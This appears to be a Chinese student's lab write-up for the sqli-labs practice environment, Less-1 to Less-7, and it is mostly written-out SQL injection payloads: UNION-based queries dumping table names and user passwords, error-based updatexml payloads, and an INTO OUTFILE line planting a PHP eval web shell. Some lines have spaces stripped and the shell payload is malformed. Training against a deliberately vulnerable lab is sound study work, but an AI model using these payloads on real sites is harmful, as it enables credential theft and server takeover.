☰
sql-labs(部分)
2026/9/27 16:40:28 网站建设 项目流程

sql-labs

  • 什么是sql-labs?
  • Less-1,2
    • 判断是否存在注入
    • 判断字段数
    • union select判断显错位(回显)
    • 库名和登录用户名
    • 判断表名
    • 判断列名
    • 判断数据
    • 快法(要注意的是此处的id值必须是0以下的数字,否则不能成功)
      • 表名
      • 列名
      • 数据名
        • 01
        • 02
        • 03
  • Less-3
  • Less-4
  • Less-5
  • Less-6
  • Less-7

什么是sql-labs?

SQL 注入(SQL Injection) 是发生在 Web 程序中数据库层的安全漏洞,是网站存在最多也是最简单的漏洞。 主要原因是程序对用户输入数据的合法性没有判断和处理,导致攻击者可以在 Web 应用程序中事先定义好的 SQL 语句中添加额外的 SQL 语句,在管理员不知情的情况下实现非法操作,以此来实现欺骗数据库服务器执行非授权的任意查询,从而进一步获取到数据信息
推荐一个视频【转载】SQL注入、SSTI&Docker逃逸 HTB CTF -GoodGame-哔哩哔哩

Less-1,2

这两个知识点,都没差…
网上查询得Pass-01基于单引号的SQL注入,Pass-02基于整数的注入

判断是否存在注入

用get传值id=1,随后能看到网页出现变化
用get传值id=2,

用get传值id=15之后,界面异常。

有没有可能把?id=1,这个传参给它拼接到SQL语句中?并且被当做SQL代码进行执行?
尝试,?id=1 and 1=2…无变化。

Pass-02的知识从这开始,尝试闭合?id=1’and 1=1-- za(后跟的字母随便…)

注意空格(格式),否则会报错,如图

?id=1’and 1=2-- zaa,页面异常(可能存在SQL注入)

判断字段数

使用 order by 查询所有字段,从1开始直到4,发现3正常,但是4的页面异常(存在三个字段)

union select判断显错位(回显)

输入,?id=1’union select 1,2,3-- zaa,显示了前面的结果,
1,2,3:仅仅相当于占了三个位置(先前order by 查询为3),所以用什么表示均可。

从而试着将id=1,改为id=15(因为页面没结果)

注意:有文章说,已知这里面只有三列,找每一列的位置,使用 ?id=0’ union select 1,2,3 --+ (要注意的是此处的id值必须是0以下的数字,否则不能成功)

库名和登录用户名

将2的位置换为database(),显示当前页面数据库库名:security。

查询当前数据库的库名和当前的登录用户名,使用 ?id=0’ union select 1,database(),user() – zaa
user()顶替3的位置,为当前的登录用户名。

判断表名

?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa

table_name:代表表名
information_schema藏有自带的数据库
table_schema字面指库名
第二位(则第一位可用limit 0,1表示)
?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’limit 1,1– zaa
第三位(limit 1,1中的前面的1改为2)
即…?id=15’union select 1,table_name,3 from information_schema.tables where table_schema=‘security’ limit 2,1-- zaa
等…

判断列名

?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
emails:可根据表进行替换

例:
?id=15’union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘referers’-- zaa

判断数据

?id=15’union select 1,id,3 from emails-- zaa

与上同,emails:可根据表进行替换

快法(要注意的是此处的id值必须是0以下的数字,否则不能成功)

将2的位置换为database(),显库名:security。
参考文章…

表名

数据库库名后再爆破数据库,使用 ?id=0’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3 --+

表名一步到位…

列名

?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘emails’),3 --+
emails:可根据表进行替换

数据名

格式?id=0’ union select 1,(select group_concat(concat_ws(0x7e,表名对应的列名,表名对应的列名)) from 表名),3 --+
0x7e应该是个站位的…,其位置也可为表名对应的列名,观察02,03

01

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,id,email_id)) from emails),3 --+ 进行爆破,得到以下内容。

02

?id=0’ union select 1,(select group_concat(concat_ws(0x7e,username,password)) from users),3 --+ 进行爆破,得到以下内容。

03

?id=0’ union select 1,(select group_concat(concat_ws(id,username,password)) from users),3 --+ 进行爆破,得到以下内容

Less-3

查看源码…发现被框了。不会被当做代码,从而使代码失效。
从而’后加一个)

判断是否存在注入?id=1’)and 1=1-- za
判断字段数?id=1’)order by 1-- za
union select判断显错位?id=1’)union select 1,2,3-- zaa
判断表名?id=15’)union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa
判断列名?id=15’)union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
判断数据名?id=15’)union select 1,id,3 from emails-- zaa

Less-4

由图与03相比单引变成了双引号…

判断是否存在注入?id=1")and 1=1-- za
判断字段数?id=1")order by 1-- za
union select判断显错位?id=1")union select 1,2,3-- zaa
判断表名?id=15")union select 1,table_name,3 from information_schema.tables where table_schema=‘security’-- zaa
判断列名?id=15")union select 1,column_name,3 from information_schema.columns where table_schema=‘security’ and table_name=‘emails’-- zaa
判断数据名?id=15")union select 1,id,3 from emails-- zaa

Sqli-labs

  • 什么是sql-labs?
  • Less-1,2
    • 判断是否存在注入
    • 判断字段数
    • union select判断显错位(回显)
    • 库名和登录用户名
    • 判断表名
    • 判断列名
    • 判断数据
    • 快法(要注意的是此处的id值必须是0以下的数字,否则不能成功)
      • 表名
      • 列名
      • 数据名
        • 01
        • 02
        • 03
  • Less-3
  • Less-4
  • Less-5
  • Less-6
  • Less-7

Less-5

先传个参!

此处是一个单引号闭合,输入的东西都会在单引号里面。


查看源码…

下面牵扯到一个新的updexml(目标xml内容,xml文档路径,更新内容)
语法:updatexml(1,concat(0x7e,(SELECT database()),0x7e),1)
实际上这里是去更新了XML文档,但是我们在XML文档路径的位置,写入子查询,我们输入特殊符号,然后就因为不符合输入规则就报错了。
报错的时候他就已经执行了那个子代码查询。
0x7e:实际是十六进制(Myaql支持16进制,但开头的得写0x,0x7e是一个特殊符号,然后不符合路径规则)
这个函数一般是配合and或者是or使用的,他和联合查询不同。

select*fromnewswhereid=1andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)如果and前面的条件不成立,就不会执行后面的语句。 报错一般有长度的限制,不能输出太长的数据,尽量不要使用group_concat()
判断是否存在注入:? id=1' and 1=1 -- zaa 判断库名:? id=1'andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)-- zaa判断表名:? id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa 判断列名:? id=1'andupdatexml(1,concat(0x7e,(selectcolumn_namefrominformation_schema.columnswheretable_schema='security'andtable_name='emails'limit0,1),0x7e),1)-- zaa判断数据:? id=1'andupdatexml(1,concat(0x7e,(selectidfromemailslimit0,1),0x7e),1)-- zaa


如图所示 %20表示为空格,%27表示为’

Less-6

与第五关相比,闭合方式不同。

判断是否存在注入:? id=1" and 1=1 -- zaa 判断库名:? id=1"andupdatexml(1,concat(0x7e,(selectdatabase()),0x7e),1)-- zaa判断表名:? id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='security' limit 0,1),0x7e),1) -- zaa 判断列名:? id=1"andupdatexml(1,concat(0x7e,(selectcolumn_namefrominformation_schema.columnswheretable_schema='security'andtable_name='emails'limit0,1),0x7e),1)-- zaa判断数据:? id=1"andupdatexml(1,concat(0x7e,(selectidfromemailslimit0,1),0x7e),1)-- zaa

Less-7

判断字段数:

? id=1'))orderby3-- zaa

写码:

?id=1'))unionselect1,"<?php eval($_REQUEST[1]?)>",3intooutfile"D:/phpstudy_pro/WWW/sqli-labs-master/Less-7/shell.php"-- zaa

可能是没有配置。

嗯…学习视频中,点不太会,这几天课太满,可能要在换个思路,先放着,,,
本文内容仅为个人经验分享,仅供参考,不构成专业建议。本人不对内容准确性做保证,读者据此操作产生的风险自行承担。文中第三方素材版权归原作者,如有侵权请联系删除。

需要专业的网站建设服务?

联系我们获取免费的网站建设咨询和方案报价,让我们帮助您实现业务目标

立即咨询